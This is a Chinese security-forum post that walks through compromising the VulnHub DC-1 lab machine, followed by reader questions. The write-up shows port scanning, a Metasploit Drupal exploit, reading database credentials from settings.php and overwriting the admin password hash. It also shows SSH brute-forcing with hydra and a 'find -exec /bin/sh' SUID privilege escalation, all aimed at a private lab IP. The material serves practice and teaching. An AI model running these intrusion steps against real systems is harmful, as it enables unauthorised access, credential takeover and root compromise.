首页
社区
课程
招聘
[原创]小蜘蛛带你一起学习DC-1
发表于: 2020-12-4 10:50 9913

[原创]小蜘蛛带你一起学习DC-1

2020-12-4 10:50
9913

Vunlnhub靶机:DC-1

 

注:本文以培养网络安全人才为核心,请严格遵守网络安全法。

 

目录
DC-1 靶机实战(DC-)

DC-1 靶机介绍

(1)官方网址

1
2
https://www.vulnhub.com/entry/dc-1-1,292/
# 大家没有事情的话可以访问看一看

drupal-开源的CMS

drupal 是使用PHP语言编写的开源内容管理框架(CMF),

基于PHP语言最著名的WEB应用程序

联合国 ubuntu 等都参与了开发

信息收集

探测目标开放的端口

推荐 masscan+nmap

  • [ ] masscan 扫描速度快,可以在很短的时间内对网络做大量的扫描
1
masscan --rate=100000 -p 1-65535 192.168.195.131

在这里插入图片描述

nmap进行详细的扫描

1
2
nmap -sV -O -T4 -p80 192.168.195.131
# 我们首先对80端口来进行扫描

在这里插入图片描述

可以看到80端口正常开放 那我们不妨尝试访问一下

查看CMS

  • [ ] 首先我们尝试访问一下靶机的网站
1
http://192.168.195.131

在这里插入图片描述

1
2
3
4
5
6
7
8
9
10
这时候我们就用到了一个小插件
 
wappalyzer
 
没有的朋友可以去推荐这里添加插件
https://www.wappalyzer.com/download/
# 此插件支持搜狐,谷歌,IE等浏览器
如何有不会添加的朋友可以在百度上面找文章,按照文章的教程进行扩展添加
 
注:wappalyzer是一款功能强大的,且非常实用的chrome网站技术分析,汇编语言等参数

查看网站的CMS

1
2
3
4
5
6
当前流行的内容分发系统
WordPress 28.6
Joomla 3.3
Drupal 2.3
Magneto 1.1
Blogger 1.0

在这里插入图片描述

我们从wappalyzer这个小插件中得知这个网站的CMS为drupal

那么我们应该以什么样的思路来进行下一步的操作呢?

首先是漏洞利用

我们可以去漏洞利用库中差找当前版本的漏洞

从上图我们看到我们drupal的版本为7,那么这样我们就可以去漏洞库中更精确的查找漏洞了

漏洞利用

给大家推荐一个漏洞利用库

1
https://www.exploit-db.com/

在这里插入图片描述

1
2
searchsploit drupal    #或者也可以使用searchsploit 查找漏洞
或者去exploit漏洞利用库查找  # 网站结果更新

在这里插入图片描述

那我们就在漏洞利用库中查找吧,前面那种方法以后可以跟大家简单提一下

  • [ ] 找到了可利用漏洞

在这里插入图片描述 - 找到了可利用漏洞
在这里插入图片描述

  • [ ] 然后我们进入msf

在这里插入图片描述

  • [ ] 然后我们可以进行调用
1
use 0 调用该模块

在这里插入图片描述

  • [ ] 查看配置信息
1
set rhosts 192.168.195.131      #指定对端IP

在这里插入图片描述

进行expliot利用后,我们就拿到了meterpreter的会话

进入shell

1
whoami                 #显示自身用户名称

在这里插入图片描述

1
python -c 'import pty;pty.spawn("/bin/bash")'   #利用python语句获得一个交互式的shell

在这里插入图片描述

1
var/www   #apache的工作目录

DC1 靶机给我们提供了四个flag的提示信息,我们可以查找靶机flag的提示信息,根据提示并进行。

查看flag1提示信息

  • 我们 ls 查看一下当前工作目录

在这里插入图片描述

! 不小心找到了flag1

我们cat查看一下

 

在这里插入图片描述

他说每个好的CMS需要一个配置文件

然后我们可以看往回看一下

不对?sites =(站点)

我们可以进去看一下

1
2
3
4
5
6
7
8
9
10
进入到sites
 
ls 查看当前信息
 
进入default
 
ls 查看当前信息
 
settings.php #找到文件
然后 cat settings.php   # 查看这个文件
  • 看看在文件中是否能够找到flag2

在这里插入图片描述
还真的找到了哈哈

提示中说:暴力攻击和字典破解不是获得访问权的唯一方法

在文件中查看到PHP的多行注释信息

1
2
3
4
5
6
7
8
9
10
11
12
$databases = array (
  'default' =>
  array (
    'default' =>
    array (
      'database' => 'drupaldb',
      'username' => 'dbuser',
      'password' => 'R0ck3t',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',

我们可以看到注释信息中得到的是一个mysql的数据库

登录其数据库

1
2
3
4
5
6
7
8
9
10
11
mysql -udbuser -pR0ck3t         #登录mysql数据库    -u 指定用户  -p 指定密码
数据库使用案例:
select version();                 #查看mysql版本
show databases;                   #查看数据库
use 数据库名;                     #调用数据库,类似于cd命令
select user();                   #查看当前用户
show tables; 查看表
select database();               #查看当前操作数据库,类似于pwd
select * from users;                #查询users表中的所有记录
select * from drupaldb.users;       #查询drupaldb数据库users表终端所有记录
\q                               #退出mysql

查看数据库

在这里插入图片描述

  • 然后我们看一下当前数据库

在这里插入图片描述

  • 可以看到为空,那么我们需要调用一个数据库位我们当前需要的数据库
1
use drupaldb     #调用drupaldb数据库

在这里插入图片描述

 

我们再次查看数据库就为 drupaldb 了

  • [ ] 查询users表中的所有记录
1
select * from users;

在这里插入图片描述

  • [ ] 退出数据库
    在这里插入图片描述

    生成哈希函数

1
2
3
scripts/password-hash.sh a            #生成a的哈希函数
$S$D2Ok7RpK92oz6.9zCd/r1EvNIWffPsdEHnkLaoqwV82NueURyCsS  #生成的哈希函数
# 注: 大家一定要以自己生成的哈希函数为主!

在这里插入图片描述

更新哈希

1
2
mysql -udbuser -pR0ck3t   #进入数据库更新哈希
UPDATE users SET pass ='$S$D2Ok7RpK92oz6.9zCd/r1EvNIWffPsdEHnkLaoqwV82NueURyCsS' WHERE uid = 1;                        #更新哈希

在这里插入图片描述

  • [ ] 登录网站admin
1
2
使用其生成的密码a登录
用户为admin

在这里插入图片描述

  1. 登录后我们在此看到了flag3的提示信息
  2. 它提示我们可以使用find命令可以帮助我们找到
  3. 根据他的提示我们可以查看一下影子文件
    在这里插入图片描述
  • [ ] 然后没有查看影子文件的权限

我们只能cat /etc/passwd 碰碰运气了
在这里插入图片描述
在这里我们发现了flag4!

证明我们离成功已经不远了

  1. 那么,拿到用户我们可以做什么?
  2. 暴力破解?

  • 我们可以进行暴力破解啊(@_@)

尝试进行暴力破解

1
hydra -l flag4 -P /usr/share/wordlists/rockyou.txt ssh://192.168.195.131

在这里插入图片描述

可以看到我们的破解是有效的,成功的拿到了flag4这个用户的密码

SSH登录flag4用户

1
ssh flag4@192.168.195.131
  • ls 列出查看一下
    在这里插入图片描述

    可以看到flag.4再次提到find

  • 那么我们可以用find提权啊(详情请看基础内容详解)
1
2
3
sudo -l            #查看提权信息
which find        #查看find命令路径
ls -/usr/bin/find #列出find详细信息

在这里插入图片描述

利用find命令进行提权

1
find -name flag4.txt -exec /bin/sh \;

whoami查看当前用户名称

在这里插入图片描述

  • 我们成功的拿到了root权限
  • [ ] 接下来我们来找到最后一个flag
1
cd /root/    #cd进入根目录
  • [ ] ls -l列出当前所有信息

在这里插入图片描述

我们成功拿到了最后一个flag,这一步我们已经成功了,不过我还为大家准备了另一种思路,不过我考虑到大家的接收能力,下面这些实验和下面的基础知识就已经够大家忙乎一会了,往后的教程我会持续更新,下面给基础薄弱的同学们提供了基础内容详解,基础稍微好些的同学我也建议大家看看。

扩展知识

PHP讲解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
PHP 是一种创建动态交互性站点的强有力的服务端脚本语言。
 
```php
PHP 脚本以<?pho 开始,以?>结束
```
 
PHP中的每个代码行都必须以分号结束。分号是一种分割符,用于把指令集区分开来。
 
```php
<?php
// 这是 PHP 单行注释
 
/*
这是PHP 多行
注释
*/
```
1
2
3
4
5
6
7
8
9
10
11
12
13
14
渗透测试流程:
信息收集
获取域名whois信息
查询服务器旁站以及子域名站点
查看服务器操作系统版本,web中间件(IIS,Apache,NGINX,tomcat),看看是否存在已知的漏洞
查看IP,进行IP地址端口扫描,漏洞探测
扫描网站目录结构
google hack 进一步探测网站的信息,后台,敏感文件
漏洞扫描
XSS,XSRF,SQL注入,代码执行,命令执行,越权访问,目录读取,任意文件读取,下载,文件包含,远程命令执行,弱口令,上传,编辑器漏洞,暴力破解,反序列化漏洞等
漏洞利用
权限提升
日志清理
渗透测试总结报告及修复方案

POC漏洞观点证明

POC , Proof of
Concept,中文意思是观点证明,这个短语会在漏洞报告中使用,漏洞报告中的POC则是一段说明或者一个攻击的样例,使读者能够确认这个漏洞使真实存在的

特殊的权限位

SUID---冒险位--4--作用于属主

当设置了SUID位程序时,是以该程序的属组身份执行,而不是当前用户

  • [ ] 示例:

在这里插入图片描述

  • [ ] Linux本地提权的N种姿势
  • find(suid)
1
2
3
4
find -name flag4.txt -exec ls -l {} \;
ps: -name 按文件名查找
    -exec 对按找到的匹配对象执行指定的命令,命令以;结束由于;是特殊字符,所以要转义
    {} 匹配所有的对象,中间不能有空格
1
find -name flag4.txt -exec /bin/sh \;

基础内容详解

基础不牢地动山摇,今天就带大家加固一下linux基础

chmod命令

  • chmod 改变文件的权限
1
2
3
4
5
6
root@rocky:~# chmod 755 1.log
root@rocky:~# ls -l 1.log
-rwxr-xr-x 1 755 rocky 0 1110 13:05 1.log #用数字更改权限更加方便
7 可读 可写 可执行  rwx
5 可读 不可写 可执行 r-x
1 不可读 不可写 可执行 --x

文件的特殊权限

1
SUID SGID SBIT

SUID

1
2
3
4
5
SUID权限仅对二进制程序有效
执行者对于该程序需要具有X的可执行权限
本权限仅再执行该程序的过程中(run-time) 有效
执行者将具有该程序所有者(owner) 的权限
#能够短暂获得root的权限    对二进制程序有可执行权限

SGID

1
2
3
4
5
SGID对二进制程序有用
程序执行者对于该程序来说,需具备x的权限
执行者再执行的过程中将会获得该程序用户组的支持
SGID对开发来说非常重要的
#将会获得该程序用户组的支持

SBIT

1
2
3
4
5
当用户对此目录具有w,x权限,即具有写入权限时
当用户再该目录下创建文件或目录时,仅有自己与root才有权力删除该文件。
如果将目录加上了SBIT权限项目时,则甲只能针对自己创建的文件或目录进行删除,重命名,移动等操作,而无法删除他人的文件。
 
#目前只针对目录有效,对于文件已经没有效果了

特殊权限设置

文件特殊权限

1
2
3
4
4 为 SUID
2 为 SGID
1 为 SBIT
chmod 4755 filename #来设置

文件查询

  • [ ] find命令
1
2
3
4
5
6
7
8
9
10
11
12
find [PATH] [option] [action]
参数:
-mtime n:n为数字,意义为在n天之前的“一天之内”被更改过的文件;
-mtime +n: 列出在n天之前(不含n天本身)被更改过的文件名;
-meime -n: 列出在n天之内(含n天本身)被更改过的文件名
 
1
find / -mtime 0    #将过去24小时内有改动的文件列出
find / -mtime 3    #将三天前24小时内有改动的文件列出
2
find /etc -newer /etc/passwd   #寻找/etc下面的文件,如果文件日期比/etc/passwd 新就列出
#-newer 用在分辨两个文件之间的新旧关系是很有用的
1
2
3
4
5
6
7
8
9
10
-uid n :n为数字,这个数字是用户的账号,即UID,这个UID是记录在
        /etc/passwd 里面与账号名称对应的数字。
-gid n :n为数字,这个数字是用户组名的ID,即GID,这个GID记录在
        /etc/group中。
-user name : name 为用户组名,列如users
-group name : name 为用户组名,列如users
-nouser : 为选择所有者不存在与group中的文件
 
find /home -user vbird   #查找 /home 下面属于vbird的文件
find / -nouser #查找不属于任何人的文件

致词

在这里我要感谢我的老师,本篇文章博主想为了节省时间,有些不想讲知识扩展,但是老师提醒了我:难道忘记了吗?以前你不是也很讨厌没有整套的对新手薄弱的教程吗。

​ 这些话警醒到了我,无论是做人也好做任何的事情,都不能够忘记初心,承蒙大家厚爱,以后我们的文章标准对比本文会只高不低。如果大家愿意,可以把任何想要破解的靶机或者任何靶场告诉我,我可以来帮助大家,我愿意与大家一起共同进步,所有的感悟与思路都会在文章种给大家解释清楚,帮助大家拥有自己的思路思维。千里之行始于足下,我的老师从刚开始就告诉我知识都是积累起来的,我们每天进步一点点,终有一天也会成为别人口中的传说。


[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2020-12-17 12:58 被安全小蜘蛛编辑 ,原因:
收藏
免费 3
支持
分享
最新回复 (20)
雪    币: 1041
活跃值: (733)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
这个dc的入门教程怎么找
2020-12-17 14:11
0
雪    币: 617
活跃值: (1331)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
3
入门的话,上一篇文章DC-1可以看一下。
2020-12-17 14:54
0
雪    币: 617
活跃值: (1331)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
4
鸭子咯咯哒 这个dc的入门教程怎么找
具体一点是,如果有什么不太明白的地方我专门给你写一篇文章入门。
2020-12-17 15:00
0
雪    币: 20
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
5
可以,对小白的我很适合
2020-12-24 14:25
0
雪    币: 1634
活跃值: (480)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
能否分享一下你的kali镜像文件?
2021-2-14 15:12
0
雪    币: 617
活跃值: (1331)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
7
wasdzjh 能否分享一下你的kali镜像文件?
当然可以
2021-2-15 22:07
0
雪    币: 1634
活跃值: (480)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
我打算跟着你的脚步学习一下!这个靶场怎么装入虚拟机?下载就可以安装到虚拟机?希望能写一篇比较入门的。
2021-2-16 12:54
0
雪    币: 1634
活跃值: (480)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
这个dc机怎么安装 竟然还要登录账号跟密码,都不知道怎么登录啊
2021-2-16 17:04
0
雪    币: 1634
活跃值: (480)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
bash: password-hash.sh: command not found
这个是生成哈希函数 出现的问题,这个不知道什么原因造成的,大佬怎么解决,卡在这里了
2021-2-16 21:22
0
雪    币: 300
活跃值: (2532)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
nice
2021-2-16 22:07
0
雪    币: 1634
活跃值: (480)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
这个暴力破解,kali 有没有自带的密码。按照楼主的方法,找到不密码文件。
2021-2-16 22:42
0
雪    币: 617
活跃值: (1331)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
13
wasdzjh 我打算跟着你的脚步学习一下!这个靶场怎么装入虚拟机?下载就可以安装到虚拟机?希望能写一篇比较入门的。
这样的话,我觉得写文章明显不够用了,如果你需要的话,我改天录个视频,发到哔哩哔哩上面去。
2021-2-17 16:29
0
雪    币: 617
活跃值: (1331)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
14
wasdzjh 这个暴力破解,kali 有没有自带的密码。按照楼主的方法,找到不密码文件。
/usr/share/wordlists/rockyou.txt
#kali自带的密码字典文件
2021-2-17 16:33
0
雪    币: 1634
活跃值: (480)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
我觉得录制一个视频更好,更清楚,如果录制了到时候一定去看。非常感谢。
2021-2-18 15:34
0
雪    币: 617
活跃值: (1331)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
16
wasdzjh 我觉得录制一个视频更好,更清楚,如果录制了到时候一定去看。非常感谢。
2021-2-19 12:20
0
雪    币: 617
活跃值: (1331)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
17
这段时间有些忙,过几天专门为你录制一系列的视频。
2021-2-19 12:21
0
雪    币: 1634
活跃值: (480)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
18
安全小蜘蛛 这段时间有些忙,过几天专门为你录制一系列的视频。
dc系列的还有教程吗?不做了吗?我已经把dc2做完了,拿到了flag。期待你持续更新这系列的教程,表示感谢。
2021-2-19 13:12
0
雪    币: 617
活跃值: (1331)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
19
wasdzjh dc系列的还有教程吗?不做了吗?我已经把dc2做完了,拿到了flag。期待你持续更新这系列的教程,表示感谢。
前段时间写了,不小心把稿子删了可,然后我打算明天写两篇。
2021-2-19 22:17
0
雪    币: 329
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
20
大佬牛批,我是一名黑客,出于某种原因我决定隐退,但离开前我决定揭露这个行业黑色的一面,并留下一笔赠予,希望你不会为了钱而烦恼
2021-3-1 18:27
0
雪    币: 617
活跃值: (1331)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
21
思源欲涩 [em_13]大佬牛批,我是一名黑客,出于某种原因我决定隐退,但离开前我决定揭露这个行业黑色的一面,并留下一笔赠予,希望你不会为了钱而烦恼[em_41]
哈哈哈。
2021-3-7 11:18
0
游客
登录 | 注册 方可回帖
返回
//